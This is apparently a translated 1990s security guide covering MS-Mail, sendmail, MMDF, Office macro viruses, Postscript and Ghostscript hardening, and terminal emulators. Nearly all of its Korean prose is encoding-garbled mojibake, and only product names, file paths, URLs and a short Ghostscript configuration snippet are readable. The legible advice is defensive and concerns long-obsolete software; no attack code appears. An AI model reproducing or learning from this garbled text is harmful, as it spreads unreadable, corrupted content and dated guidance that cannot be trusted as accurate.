- Ű µ¥ÀÌŸº£À̽º¸¦ ÁÖ±âÀûÀ¸·Î ¹é¾÷ÇÑ´Ù, »ç¿ëÀÚ°¡ ¸¹À» °æ¿ì ƯÈ÷. ¹é¾÷Àº ¹°¸®ÀûÀ¸·Î ¾ÈÀüÇÏ°Ô º¸È£µÇ¾î¾ß ÇÑ´Ù.
- Administrator ¿Í KM service´Â °·ÂÇÑ ÆÐ½º¿öµå¸¦ »ç¿ëÇÑ´Ù. ¼³Ä¡½Ã ÆÐ½º¿öµå¸¦ µð½ºÄÏ¿¡ º¹»çÇϵµ·Ï Çϰí Àç³ º¹±¸¸¦ À§ÇØ µð½ºÄÏÀ» ¹°¸®ÀûÀ¸·Î ¾ÈÀüÇÏ°Ô º¸È£ÇÑ´Ù.
MS-Mail
Microsoft ¸ÞÀÏÀº ´ÙÀ½ ¸ðµâµéÀÇ ÁýÇÕÀÌ´Ù:
1. Ŭ¶óÀÌ¾ðÆ® (À©µµ¿ì »óÀÇ MS-mail).
2. ¸ÞÀϹڽº ¼¹ö (¿ìü±¹ PostOffice À̶ó°í ºÒ¸²).
3. ¸ÞÀÏ ÁÖ¼Ò µð·ºÅ丮 ¼¹ö.
4. ¸ÞÀÏ ¹è´Þ ÇÁ·Î¼¼½º (¿ÜºÎ).
5. X.400 ¹éº»¿¡ ´ëÇÑ °ÔÀÌÆ®¿þÀÌ.
- ¸ðµç ¸ÞÀÏ ¼¹öµéÀº (PostOffice, External, X.400 gateway, directory server) ¾ÈÀüÇÏ°Ô ¼³Ä¡µÇ¾î¾ß ÇÑ´Ù.
- DECÀÇ MAILworks ¸¦ PostOffice ·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù.
- Ŭ¶óÀÌ¾ðÆ®µéÀº ÆÐ½º¿öµå·Î º¸È£µÈ mail.dat À» °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù.
- ¸ÞÀÏ ¹è´Þ ÇÁ·Î¼¼½º°¡ µ¹¾Æ°¡´Â Mailext »ç¿ëÀÚ´Â, ¸ÞÀÏÇÔ µð·ºÅ丮¿¡ ´ëÇØ ¸ðµç ±ÇÇÑÀ» ÇÊ¿ä·Î ÇÑ´Ù. ÀÌ »ç¿ëÀÚÀÇ ÆÐ½º¿öµå´Â °ÅÀÇ Çѹøµµ º¯°æµÇÁö ¾Ê´Â´Ù. µû¶ó¼ Àΰ¡µÇÁö ¾ÊÀº »ç¿ëÀÚµéÀÌ ¸ÞÀÏÇÔ¿¡ Á¢±ÙÇÏ´Â °ÍÀ» ¹æÁöÇϱâ À§ÇØ, PostOffice ¿¡¼ Mailext »ç¿ëÀÚ ¼³Á¤Àº ¸í¸íµÈ ¿ÜºÎ PC¿¡¼¸¸ ·Î±×ÀÎÇÒ ¼ö ÀÖµµ·Ï ±¸¼ºµÇ¾î¾ß ÇÑ´Ù.
- PostOffice µð·ºÅ丮´Â Æò¹üÇÏÁö ¾ÊÀº À̸§À¸·Î export µÇ¾î¾ß Çϰí (Áï maildata °°Àº °Í ¸»°í), exports º¸±â ¸ñ·Ï¿¡ ³ªÅ¸³ªÁö ¾Êµµ·Ï $ ·Î ³¡³ª¾ß ÇÑ´Ù.
- ·Î±×´Â ÁÖ±âÀûÀ¸·Î ÀÌ»óÇÑ ÇàÀ§°¡ ¾ø´ÂÁö °Ë»çÇØ¾ß ÇÑ´Ù (\maildata\log\session.log,dispatch.log, recv.log, sent.log, x400xxxx.log)
- MS-Mail ¿¡ ´ëÇØ º¸¾ÈÀ» Áõ´ë½ÃŰ´Â ¸î¸î Á¦Ç°µéÀÌ ÀÖ´Ù (MAPI ¶Ç´Â »õ·Î¿î MS-Mail "note types" ±â¹ÝÀ¸·Î ÇÏ´Â). ¿¹¸¦ µé¾î, Secumail Àº Telia (Swedish Telecom) Á¦Ç°À¸·Î ½º¿þµ§¿¡¼ ÆÇ¸ÅµÇ¸ç MS-Mail & Exchange »ç¿ëÀÚµéÀÇ ¾ÈÀüÇÑ Åë½ÅÀ» °¡´ÉÇÏ°Ô ÇÑ´Ù. ÀüÀÚ ¼¸í°ú ¾ÏȣȰ¡ Áö¿øµÈ´Ù. °³ÀÎŰ´Â Ĩ Ä«µå¿¡ º¸°üµÈ´Ù.
ÇØ°áµÇÁö ¾ÊÀº À̽´
- ¸ÞÀÏÇÔ µð·ºÅ丮¿¡¼ °¡´ÉÇÑ °¡Àå Á¦ÇÑÀûÀÎ »ç¿ëÇã°¡´Â?
- º°µµÀÇ ·Î±×ÀÎÀÌ Ç×»ó ÇÊ¿äÇѰ¡?
- ¸ÞÀÏÀº ·ÎÄÿ¡ ÀúÀåµÉ ¼öµµ ÀÖ°í ¿ø°Ý ¸ÞÀÏÇÔÀ» ÅëÇØ Á¢¼ÓÇÒ ¼öµµ ÀÖ´Ù. ·ÎÄà ¸ÞÀÏÇÔÀÌ ´õ ¾ÈÀüÇѰ¡?
- ±×·¯³ª ¾î¶² »ç¶÷ÀÌ ´Ù¸¥ PC¿¡ ·Î±×ÀÎ ÇØ¼ ¸ÞÀÏÀ» ÀÐÀ» ¼ö ¾ø´Ù. ºÐ·ùµÈ µî±Þ¿¡¼ ·ÎÄÃÀÌ ´õ ³ªÀº°¡?
À¯´Ð½º ¸ÞÀÏ (SMTP, MIME, sendmail, MMDF)
°ü·Ã ¸ðµâµéÀº
1. Ŭ¶óÀÌ¾ðÆ® ¸ÞÀÏ ÇÁ·Î±×·¥ (»ç¿ëÀÚ°¡ ¸ÞÀÏÀ» ÀÐÀ»/º¸³¾ ¼ö ÀÖ°Ô ÇÔ), e.g. Mailtool, CDE dtmail, mailx, Zmail, /bin/mail...
2. ·ÎÄà ¹è´Þ ÇÁ·Î±×·¥, e.g. sendmail.
3. ·ÎÄà ¼ö½Å ÇÁ·Î±×·¥, e.g. sendmail, popper
4. ¸ÞÀϹڽº ¼¹ö, e.g. NFS server.
5. µµ¸ÞÀÎ °ÔÀÌÆ®¿þÀÌ (·ÎÄõµ¸ÞÀÎÀ¸·Î(/ºÎÅÍ ´Ù¸¥ µµ¸ÞÀÎÀ¸·Î) ¸ÞÀÏ Àü´Þ).
6. ÀÎÅÍ³Ý °ÔÀÌÆ®¿þÀÌ (ÀÎÅͳÝÀ¸·ÎÀÇ ¹æÈº®).
7. X.400 °ÔÀÌÆ®¿þÀÌ (¶Ç´Â ´Ù¸¥ ±â¾÷ ¹éº» ÇÁ·ÎÅäÄÝ).
Sendmail
Sendmail Àº º¹ÀâÇϰí, ¿ª»çÀûÀ¸·Î ¾ÆÁÖ ¹ö±×°¡ ¸¹Àº ÇÁ·Î±×·¥ÀÌ´Ù. Sendmail ¹®Á¦µé¿¡ ´ëÇÑ ¿¹´Â ºÎ·Ï¿¡ ÀÖ´Â CERT ±Ç°í¹®µéÀÇ ¸ñ·ÏÀ» Âü°íÇÑ´Ù. ´ëºÎºÐÀÇ º¥´õµéÀº ¾à°£ º¯ÇüµÈ sendmailÀ» °¡Áö°í ÀÖÁö¸¸, ÃÖ½ÅÀÇ V8 sendmailÀ» ¾²´Â º¥´õ´Â º°·Î ¾ø´Âµ¥, V8Àº ´õ ¸¹Àº ±â´ÉÀ» °¡Áö°í ÀÖÀ¸¸é¼µµ ´õ ¾ÈÀüÇÑ °ÍÀ¸·Î ÃßÁ¤µÈ´Ù.
[4].
==> PGP °°Àº µµ±¸¿Í ÇÔ²² »ç¿ëÇÏ´Â °æ¿ì°¡ ¾Æ´Ï¸é ±â¹Ð À̸ÞÀÏÀÇ Àü¼Û¿¡ sendmail À» »ç¿ëÇÏÁö ¾Êµµ·Ï ÇÑ´Ù.
MMDF (Multi-channel Memo Distribution Facility)
¾Æ·¡´Â ¸î¸î MMDF ¹®¼µé Áß¿¡¼ ÃßÃâÇÑ °ÍÀÌ´Ù:
MMDF ´Â ´Ù¾çÇÑ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º¿Í ¹è´Þ ¸ÞÄ«´ÏÁòÀ» Áö¿øÇÏ´Â ¸ÞÀÏ Àü¼Û ½Ã½ºÅÛÀÌ´Ù. ¼³°è´Â ±âÁ¸ÀÇ ¸ÞÀÏ ½Ã½ºÅÛµé°ú ȣȯµÉ Çʿ伺¿¡ ±¸¾Ö¹ÞÁö ¾Ê¾Ò°í, °á°úÀûÀ¸·Î MMDF ´Â ÅëÇÕ ¸ÞÀÏ Ã³¸® ÇÁ·Î±×·¥ Áý´ÜÀÌ µÇ¾ú´Ù.
MMDF ÀÇ ¼³°è´Â ´ÜÀÏ È£½ºÆ® ½Ã½ºÅÛÀ¸·ÎºÎÅÍ ´ëÇü ¸ÞÀÏ ¸±·¹ÀÌ·Î ¸ÞÀÏ ½Ã½ºÅÛÀÇ ¼º´É ÀúÇÏ ¾øÀÌ ¼ºÀåÇÒ ¼ö ÀÖ°Ô Çϸç, ºÎÇϰ¡ °Å´ëÇØÁü¿¡ µû¶ó ¼º´ÉÀº Á¡Â÷ÀûÀ¸·Î (gracefully) ÀúÇϵǵµ·Ï ÇÑ´Ù. ´ë¿ë·® ¸ÞÀÏ ¸±·¹ÀÌ¿¡ ´ëÇÑ ¿ä±¸°¡ MMDFÀÇ ¸¹Àº Çõ¸íÀûÀÎ ¼³°è ¼±Åõé·Î À̾îÁ³´Ù.
´Ù¸¥ ¸î¸î ½Ã½ºÅÛµé°ú ´Þ¸®, MMDF´Â ¸ÞÀÏ ÀÇ·Ú¿Í ¹è´Þ¿¡ º°°³ÀÇ ÇÁ·Î¼¼½º¸¦ °¡Áö°í ÀÖ´Ù. Á×Àº È£½ºÆ®µé °¢°¢¿¡ ´ëÇÑ Àç½Ãµµ À̷¿¡ µû¶ó Áö´ÉÀûÀÎ Àç½Ãµµ Àü·«À» Çã¿ëÇÏ´Â ÃÖ±ÙÀÇ ¹è´Þ ¼ÒÇÁÆ®¿þ¾î º¯È°¡ ¼³¸íµÉ °ÍÀÌ´Ù. »õ·Î¿î µµ¸ÞÀÎ ¼¹ö ¸ÞÄ«´ÏÁòÀÇ ÁÖ¼Ò È®Àο¡ ´ëÇÑ È¿°ú°¡ ³íÀÇµÉ °ÍÀÌ´Ù.
¸ÞÀÏÀ» ä³Î·Î ºÐ¸®ÇÏ´Â °ÍÀÌ MMDFÀÇ ´ë·®¸ÞÀÏ Ã³¸®´É·Â¿¡ ´ëÇÑ ¿¼èÀÌ´Ù. °¢ ä³ÎÀº ¼·Î ´Ù¸¥ ¹è´Þµî±ÞÀ» ³ªÅ¸³»°í °¢ ä³ÎÀÌ ÀÚüÀûÀ¸·Î ´ë±â¿À» °¡Áö°í ÀÖ´Ù.
À̰ÍÀº ¹®Á¦¸¦ °í¸³½ÃŰ°í ¼·Î ´Ù¸¥ ä³Î¸¶´Ù ¼·Î ´Ù¸¥ ·¹º§ÀÇ ¼ºñ½º¸¦ Á¦°øÇÒ ¼ö ÀÖ°Ô ÇØÁØ´Ù.
MMDF ½Ã½ºÅÛÀº ¿ø·¡ Delaware ´ëÇп¡¼ °³¹ßµÇ¾úÀ¸¸ç Ballistic Research Laboratory ¿Í University College London ¿¡¼ °ý¸ñÇÒ¸¸ÇÑ °³¹ß ¼º°ú¸¦ º¸¾Ò´Ù.
MMDFII ¼ÒÇÁÆ®¿þ¾î´Â ¹«·á·Î (Å×ÀÌÇÁ º¹»ç ºñ¿ëµîÀº Á¦¿ÜÇϰí), ´ÙÀ½ÀÇ ³»ºÎ¿¡¼¸¸ »ç¿ëÇÒ ¼ö ÀÖ´Ù: Ballistic Research Labs¸¦ ÅëÇØ ¹Ì±¹ Á¤ºÎ ±â°ü¿¡¼, BBNÀÇ CSNET Coordination and Information Center ¸¦ ÅëÇØ CSNET »çÀÌÆ®¿¡, ±×¸®°í Delaware ´ëÇÐ Electrical Engineering and Computer Science DepartmentÀÇ David Farber ±³¼ö¸¦ ÅëÇØ ´Ù¸¥ °÷¿¡.
³»ºÎ »ç¿ëÀÌ ¾Æ´Ñ MMDF¿¡ ´ëÇÑ »ó¾÷Àû °ü½ÉÀ» Farber±³¼ö¿Í °è¾àÇØ¾ß ÇÑ´Ù.
1994³â ÀÌÈķδ Áøº¸ÇÏÁö ¾ÊÀº °Í °°°í, ÇöÀç ¹öÀüÀº V2.4.3 À̸ç MMDFIIb ¶ó°í ºÒ¸°´Ù.
http://www.cs.okstate.edu/~vasoll/mmdfµµ ÂüÁ¶ÇÑ´Ù.
»ç¹« ÀÚµ¿È
MS-Office (À©¿öµå/ ¿¢¼¿/ ÆÄ¿öÆ÷ÀÎÆ®)
- »ç¿ëÀÚ°¡ ÆÐ½º¿öµå¸¦ ÁöÁ¤ÇÏ¸é ±â¹Ð ÆÄÀϵéÀº MS-Office ¾îÇø®ÄÉÀ̼ǿ¡ ÀÇÇØ Ãß°¡ÀûÀ¸·Î º¸È£µÈ´Ù. ÀÌ ±â´ÉÀÌ »ç¿ëµÇ´Â °æ¿ì ÆÐ½º¿öµå´Â µÎ »ç¶÷ÀÌ ¾Ë°í Àְųª, ¶Ç´Â Á¾ÀÌ¿¡ ½á¼ Àá°ÜÁø ±Ý°í¿¡ º¸°üÇÏ¿© Ȥ ÀÖÀ»Áö ¸ð¸£´Â µ¥ÀÌŸ À¯½ÇÀ» ¹æÁöÇØ¾ß ÇÑ´Ù. NOTE: ÀÌ ÆÐ½º¿öµåµéÀ» ¾ÆÁÖ ½±°Ô Å©·¢ÇÒ ¼ö ÀÖ´Ù (À̸¦ À§ÇÑ µµ±¸°¡ ÀÎÅͳݿ¡ ÀÖ´Ù), µû¶ó¼ ÀÌ ÆÐ½º¿öµåµéÀÌ ÄÄÇ»Å͸¦ Àß ¾Æ´Â ÇØÄ¿µé·ÎºÎÅÍÀÇ À庮À¸·Î °£ÁֵǾ ¾ÈµÈ´Ù.
- OLE ÀÚµ¿È´Â Á¾Á¾ °´Ã¼µéÀ» ¹®¼¿¡ ½É´Âµ¥ »ç¿ëµÈ´Ù, À̸¦Å×¸é ¿¢¼¿ Å×À̺íÀ» ¿öµå ¹®¼¿¡ ½É´Â °Í. ¸¸¾à ¿¢¼¿ Å×À̺íÀÇ ÀϺΰ¡ ¼±ÅÃµÇ¾î ¿öµå¾È¿¡ ½É¾îÁ³´Ù¸é, ±× ¿¢¼¿ ÆÄÀÏÀÌ ÆÐ½º¿öµå·Î º¸È£µÈ´Ù ÇÏ´õ¶óµµ ±× ¿¢¼¿ ÆÄÀÏ¿¡ ´ëÇÑ ¸ðµç Á¤º¸¸¦ ¿öµå ¹®¼°¡ »ç¿ë °¡´ÉÇÏ´Ù´Â »ç½Ç¿¡ ÁÖÀǸ¦ µ¹¸®´Â °ÍÀÌ Áß¿äÇÏ´Ù. µû¶ó¼ ¿öµå ¹®¼ÀÇ º¹»çº»ÀÌ µ¿·á¿¡°Ô ¸ÞÀÏ·Î º¸³»Á³À» °æ¿ì, ±× µ¿·á´Â ½É¾îÁø ¿¢¼¿ ÆÄÀÏÀÌ ÆÐ½º¿öµå·Î º¸È£µÈ´Ù°í ÇÏ´õ¶óµµ À̸¦ ÀÐÀ»/º¯°æÇÒ ¼ö ÀÖ´Ù.
- »ç¿ëÀÚµéÀº OLEÀÇ º»ÁúÀûÀÎ º¸¾È Ãë¾à¼º¿¡ ´ëÇØ ÀÎÁöÇϰí ÀÖ¾î¾ß ÇÑ´Ù.
- À§ÀÇ ¹®Á¦¸¦ È®½ÇÈ÷ ÇÇÇϱâ À§Çؼ´Â ¿¢¼¿ Å×À̺íÀ» ÅØ½ºÆ®·Î º¹»çÇÏ¿© ¿öµå Å×À̺í·Î ºÙ¿©³Ö°Å³ª, ÇÊ¿äÇÑ Á¤º¸¸¸ Æ÷ÇÔÇϰí ÀÖ´Â »õ·Î¿î ¿¢¼¿ ÆÄÀÏÀ» »ý¼ºÇÑ´Ù.
- ¿öµå¿Í ¿¢¼¿ »Ó¸¸ ¾Æ´Ï¶ó, OLE °¡´ÉÇÑ ¸ðµç ¾îÇø®ÄÉÀ̼ǿ¡ ´ëÇØ ÀÌ ¹®Á¦°¡ Á¸ÀçÇÑ´Ù.
- Æ®·ÎÀÌ ¸ñ¸¶: °¡Á®¿Â ¿öµå[5], ¿¢¼¿ ¹× ¾×¼¼½º ÆÄÀϵ鿡¼ÀÇ ¸ÅÅ©·Î »ç¿ë¿¡ ÀÇÇØ º¸¾È À§ÇùÀÌ ÀϾÙ. À̸¦Å×¸é »ç¿ëÀÚ°¡ ¿öµå (¶Ç´Â ¿¢¼¿ ¶Ç´Â ¾×¼¼½º) ¹®¼¸¦ À̸ÞÀÏ·Î ¹Þ¾Æ¼ ¿¸é, ¹®¼ ¾ÈÀÇ ¸ÅÅ©·Î°¡ ÀÚµ¿À¸·Î ¼öÇàµÇ¾î ½Ã½ºÅÛ ³»¿¡¼ »ç¿ëÀÚ°¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¸ðµç ÆÄÀÏÀ» ÀÐÀ»/¾µ ¼ö ÀÖ´Ù (Áï µµ½º/À©µµ¿ì 3 ¶Ç´Â 95 ¿¡¼´Â ¸ðµç ÆÄÀÏ)! ÀÌ¿¡ ´ëÇÑ º¸È£´Â ¾î·ÆÁö¸¸, ´ÙÀ½ÀÌ ±Ç°íµÈ´Ù:
- »ç¿ëÀÚµéÀº ½Å·ÚÇÒ ¼ö ¾ø´Â ¼Ò½º·ÎºÎÅÍ ¿Â ÆÄÀÏÀ» ¿ ¶§ÀÇ À§Çè¿¡ ´ëÇØ ±³À°¹Þ¾Æ¾ß ÇÑ´Ù.
- »ç¿ëÀÚµéÀº ½Å·ÚÇÒ ¼ö ¾ø´Â ¼Ò½º·ÎºÎÅÍÀÇ À©¿öµå ¹®¼¸¦ ¿ ¶§ "shift" ۸¦ ´©¸£°í ÀÖ¾î¾ß ÇÑ´Ù. À̰ÍÀº ¸ÅÅ©·Î°¡ ÀÚµ¿À¸·Î ½ÇÇàµÇ´Â °ÍÀ» ¸·¾ÆÁØ´Ù.
- ÀϹÝÀûÀ¸·Î ½Å·ÚÇÒ ¼ö ¾ø´Â ¼Ò½º·ÎºÎÅÍ ¿Â ¹®¼´Â Àý´ë »ç¿ëÀÚµéÀÌ ¿¾îº¸Áö ¸»¾Æ¾ß ÇÑ´Ù.
- À©¿öµå: normal.dot ÆÄÀÏÀ» Àбâ Àü¿ëÀ¸·Î ÇÏ¿©, ¸ÅÅ©·Î°¡ ÀÚµ¿ÀûÀ¸·Î ¿©±â¿¡ ¾º¾îÁöÁö ¸øÇϵµ·Ï ÇÑ´Ù.
- À©¿öµå 7.0a: µµ±¸->¿É¼Ç->ÀÏ¹Ý ¿¡¼ ÀÚµ¿ ¸ÅÅ©·Î ½ÇÇà ¿É¼ÇÀ» ¼±ÅÃÇÏÁö ¾Ê´Â´Ù.
¹®¼ (¶Ç´Â ½ºÇÁ·¹µå ½¬Æ®, µ¥ÀÌŸº£À̽º) ÆÄÀϵéÀº ÀÌÁ¦ ¹ÙÀÌ·¯½º ¹æ¿ª Ãø¸é¿¡¼ ½ÇÇàÆÄÀϰú °°ÀÌ Ãë±ÞµÇ¾î¾ß ÇÑ´Ù. ¹®¼°¡ ¾îµð·ÎºÎÅÍ ¿Ô´ÂÁö ¾ËÁö ¸øÇÏ¸é ¿±â Àü¿¡ ¸ÕÀú ¹ÙÀÌ·¯½º °Ë»öÀ» ÇÑ´Ù. »õ·Î¿î ¹®¼ ó¸® ÀÀ¿ë ÇÁ·Î±×·¥À» ±¸ÀÔÇÒ ¶§´Â, º¥´õ¿¡°Ô ÀÚµ¿ ½ÇÇà°ú ÀÏ¹Ý ¸ÅÅ©·Î¸¦ disable ÇÒ ¼ö ÀÖ´Â ±â´ÉÀÌ ÀÖ¾î¾ß ÇÑ´Ù°í Ç϶ó!
- MACRO VIRUS: 1995³â 8¿ù, À§¿¡ ¼³¸íµÈ ¸ÅÅ©·Î¸¦ Æ÷ÇÔÇÑ ÇÑ ¹®¼°¡ ÀÎÅͳÝÀ» µ¹¾Æ´Ù³æ´Ù. À̰ÍÀÌ Ã³À½À¸·Î ¾Ë·ÁÁø Wordbasic ¹ÙÀÌ·¯½ºÀÌ´Ù. ÀÌ ¹ÙÀÌ·¯½º´Â "Ä¡¸íÀûÀÎ" °ÍÀº ¾Æ´ÏÁö¸¸, °æ¾ÇÀ» ºÒ·¯ÀÏÀ¸Ä×´Ù. ÀÌ·± Á¾·ùÀÇ ¸¹Àº ¹ÙÀÌ·¯½ºµéÀÌ °ð ÀÎÅÍ³Ý»ó¿¡ ÆÛÁö¸®¶ó´Â °ÍÀÌ ÃßÃøµÇ¾úÀ½¿¡ Ʋ¸²¾ø´Ù. "¿öµå¿¡ Àå³Ä¡´Â ¸ÅÅ©·Î" (Microsoft ¿¡¼ ¸í¸íÇßµíÀÌ) ¿¡ ´ëÇÑ ´õ ¸¹Àº Á¤º¸´Â
http://microsoft.com/msoffice/prank.htm ¿¡¼ ¾òÀ» ¼ö ÀÖ´Ù.
. ¿©±â Microsoft ·ÎºÎÅÍÀÇ ¼³¸íÀÌ ÀÖ´Ù:
Microsoft ¿öµå´Â À©µµ¿ì 3.1¿ë ¿öµå 6.0, ¸ÅŲÅä½Ã¿ë ¿öµå 6.01, À©µµ¿ì NT(TM)¿ë ¿öµå 6.0 ¿¡¼ »ý¼ºµÇ´Â ¹®¼¸¦ ÅëÇØ ½º½º·Î ¹èÆ÷µÇ´Â Àå³(prank) ¸ÅÅ©·ÎÀÇ Ç¥ÀûÀÌ´Ù. Àå³ ¸ÅÅ©·Î´Â À©µµ¿ì³ª ¸ÅŲÅä½Ã¿ë ¿öµåÀÇ ÀÌÀü ¹öÀü¿¡´Â ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê´Â´Ù. ¸ÅÅ©·Î¸¦ Æ÷ÇÔÇÏ´Â ¹®¼¸¦ ¿¬ ´ÙÀ½, ÀÌÈÄ¿¡ ÀúÀåµÇ´Â ¹®¼µéÀº ±× ¸ÅÅ©·ÎÀÇ º¹»çº»À» Æ÷ÇÔÇÑ´Ù. Çѹø ¼³Ä¡µÇ¸é, ÀÌ ¸ÅÅ©·Î´Â ¹®¼¸¦ ÅÛÇø´À¸·Î ÀúÀåÇÒ ¼ö¸¸ ÀÖ°Ô ÇÑ´Ù. ÀÌ ¸ÅÅ©·Î´Â ±× ¿Ü¿¡´Â ¹®¼ÀÇ ³»¿ë¿¡ ¿µÇâÀ» ÁÖÁö ¾Ê´Â´Ù.
- Microsoft ¿¡¼ ¸ÅÅ©·Î³ª ºñÁÖ¾ó º£ÀÌÁ÷À» ¾²´Â ±×µéÀÇ ¸ðµç ¾îÇø®ÄÉÀ̼ÇÀ» º¯°æÇÏ¿© ¹®¼¿¡ ¸ÅÅ©·Î°¡ ÀÖÀ¸¸é ¹®¼¸¦ ¿¶§ »ç¿ëÀÚ¿¡°Ô À̸¦ ½ÇÇàÇÒ °ÍÀÎÁö ¹°¾îº¸°Ô Çϱ⸦ ¹Ù¶õ´Ù. (ÇöÀç´Â ±×·¯°í ÀÖ´Ù? - ¿ªÁÖ)
- ¸ÅÅ©·Î´Â DLL µµ È£ÃâÇÒ ¼ö ÀÖÀ¸¹Ç·Î, DLL ÀÌ ½Å·ÚÇÒ ¼ö ¾ø´Â ¼Ò½º·ÎºÎÅÍÀÇ ÆÄÀÏÀ» µ¿¹ÝÇÑ´Ù¸é, À̵éÀº º¸¾È À§ÇèÀ» ³»Æ÷ÇÑ´Ù.
- ¸¹Àº ¹ÙÀÌ·¯½º °Ë»ç À¯Æ¿¸®Æ¼µéÀÌ ÀÌÁ¦´Â ¸ÅÅ©·Î ¹ÙÀÌ·¯½ºµµ °Ë»çÇÑ´Ù. ±×·¯ÇÑ °Ë»ç±â°¡ µé¾î ÀÖ´ÂÁö È®ÀÎÇÑ´Ù.
WordPerfect
WordPerfect ´Â ¸ÅÅ©·Î°¡ ¹®¼ ÆÄÀÏÀÌ ¾Æ´Ñ º°µµÀÇ ÆÄÀÏ¿¡ ÀúÀåµÇ±â ¶§¹®¿¡ À©¿öµå¸¸Å ¸ÅÅ©·Î ¹ÙÀÌ·¯½º °ø°Ý¿¡ ¹Î°¨ÇÏÁö ¾Ê´Ù.
À©µµ¿ì µµ¿ò¸» ÆÄÀÏ
À©µµ¿ì µµ¿ò¸» ÆÄÀÏÀº DLLÀ» È£ÃâÇÒ ¼ö ÀÖ´Ù. µû¶ó¼ ½Å·ÚÇÒ ¼ö ¾ø´Â ¼Ò½º·ÎºÎÅÍ ¿Â µµ¿ò¸» ÆÄÀÏÀº ¿¾îº¸Áö ¾Êµµ·Ï ÇÑ´Ù. ¸¸¾à ²À ºÁ¾ß ÇÑ´Ù¸é, Ư±Ç¾ø´Â (unprivileged) »ç¿ëÀڷμ ¿¬´Ù.
Postscript
Postscript ´Â ¸ÅŲÅä½Ã ¼¼°è¿¡¼ ºñ·ÔµÇ¾î ¹®¼ Àμ⸦ À§ÇÑ Ç¥ÁØ ¾ð¾î°¡ µÇ¾ú´Ù. ±×·¯³ª, Postscript´Â ÆÄÀϽýºÅÛ¿¡ ´ëÇÑ Á÷Á¢ Á¢±ÙÀ» Çã¿ëÇÒ ¼ö ÀÖ´Â (·¹º§ 2.0ºÎÅÍ) ÇØ¼®(interpredted) ¾ð¾î·Î, µû¶ó¼ postscript ÆÄÀϵéÀ» ÀÌ¿ëÇÏ¿© ´Ù¸¥ ÆÄÀϵéÀ» Àаųª ¾µ ¼ö ÀÖ´Ù!
- µû¶ó¼ Postscript "ºä¾î" ´Â ½Å·ÚÇÒ ¼ö ¾ø´Â »çÀÌÆ®·ÎºÎÅÍÀÇ postscript ÆÄÀÏ¿¡´Â »ç¿ëµÇÁö ¸»¾Æ¾ß ÇÑ´Ù. ¾Æ¸¶µµ postscript ºä¾î´Â ÀÏ¹Ý PC/ ¿öÅ©½ºÅ×À̼ǿ¡¼´Â Çã¿ëµÇÁö ¸»¾Æ¾ß ÇÑ´Ù? ¶Ç´Â ¾Æ¸¶µµ "¾ÈÀüÇÑ" postscript ºä¾î¸¦ Áß¾Ó¿¡¼ »ç¿ëÇÒ ¼ö ÀÖ°Ô ÇØ¾ß ÇÑ´Ù.
Ghostscript
Ghostscript ´Â °ø°³ µµ¸ÞÀÎ postscript ÇØ¼®±â·Î ¹«·á ¼ÒÇÁÆ®¿þ¾î Àç´Ü (GNU) ¿¡¼ °³¹ßÇß´Ù. Ghostview ´Â Ghostscript ÇØ¼®±â ¿£ÁøÀ» »ç¿ëÇÏ´Â postscript ÆÄÀÏ ºä¾îÀÌ´Ù. Ghostscript ´Â ¹öÀü 3.22 º£Å¸ºÎÅÍ -dSAFER ¿É¼ÇÀ» °¡Áö°í ½ÃÀÛµÇ¾î ÆÄÀÏ ¾²±â¸¦ Çã¿ëÇÏÁö ¾ÊÀ»¼ö ÀÖ´Ù. Aladdin ¹öÀüÀº ÀÌ fix¸¦ °¡Áö°í Àִµ¥, GNU ¹öÀüÀº ¾ø´Ù (¾ÆÁ÷, 1995³â 9¿ù). Ghostscript °¡ ´Ù¾çÇÑ ÇÁ·ÐÆ® ¿£µåµé·ÎºÎÅÍ ºÒ·ÁÁú ¼ö Àֱ⠶§¹®¿¡, ¸í·ÉÁÙÀ» º¯°æÇÏ´Â °ÍÀÌ Ç×»ó °¡´ÉÇÑ °ÍÀº ¾Æ´Ï´Ù. ±×·¯¹Ç·Î:
- Ghostscript ¼³Á¤ ÆÄÀÏ gs_init.ps ($GS_LIB¿¡¼, ´ë°³ /usr/local/lib/ghostscript) À» º¯°æÇÏ¿© ´ÙÀ½ ÁÙµéÀ» ÁÖ¼®Ã³¸®ÇÑ´Ù:
% SAFER not { ( %END SAFER) .skipeof } if
......
% %END SAFER
È£½ºÆ® ¿¡¹Ä·¹ÀÌÅÍ (vt100, vtxx0, 3270)
¾î¶² ¿¡¹Ä·¹ÀÌÅÍ¿¡¼´Â ÆÐ½º¿öµå¸¦ Űº¸µå ¸ÅÅ©·Î·Î ÇÁ·Î±×·¥ÇÒ ¼ö ÀÖ´Ù. ¸¸¾à ÀÌ ±â´ÉÀÌ »ç¿ëµÈ´Ù¸é, ¿¡¹Ä·¹ÀÌÅÍ ÃʱâÈ ÆÄÀÏ (¸ÅÅ©·Î°¡ ¾º¾îÁø) Àº ´Ù¸¥ »ç¿ëÀÚµéÀÌ ÀÐÀ» ¼ö ¾ø¾î¾ß ÇÑ´Ù.À̰ÍÀº Ȩ µð·ºÅ丮°¡ ¼¹ö»ó¿¡ ÀÖÀ» ¶§ ƯÈ÷ ¹®Á¦°¡ µÈ´Ù.
Teemtalk
Teemtalk Àº 3270 (IBM ¸ÞÀÎÆ®·¹ÀÓ Á¢±Ù¿ë) °ú VT340 (VAX Á¢±Ù) ¿¡¹Ä·¹À̼ÇÀ» Á¦°øÇÏ¿© ´Ù¾çÇÑ È£½ºÆ® ¾îÇø®ÄÉÀ̼ÇÀ» Á÷Á¢ »ç¿ëÇÒ ¼ö ÀÖ°Ô ÇØÁØ´Ù. µÎ °¡Áö ¿¡¹Ä·¹ÀÌ¼Ç ¸ðµÎ ÆÄÀÏ Àü¼ÛÀ» À§ÇÑ ±â´ÉÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. Teemtalk Àº "Winsock" Åë½Å ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÏ¿©, 3270 ¿¡¹Ä·¹À̼ǿ¡´Â 3174 °ÔÀÌÆ®¿þÀ̸¦ °ÅÄ¡°í, VMS ½Ã½ºÅÛ Á¢±ÙÀº ¼ÒÄÏÀ» ÅëÇØ Á÷Á¢ÇÑ´Ù.
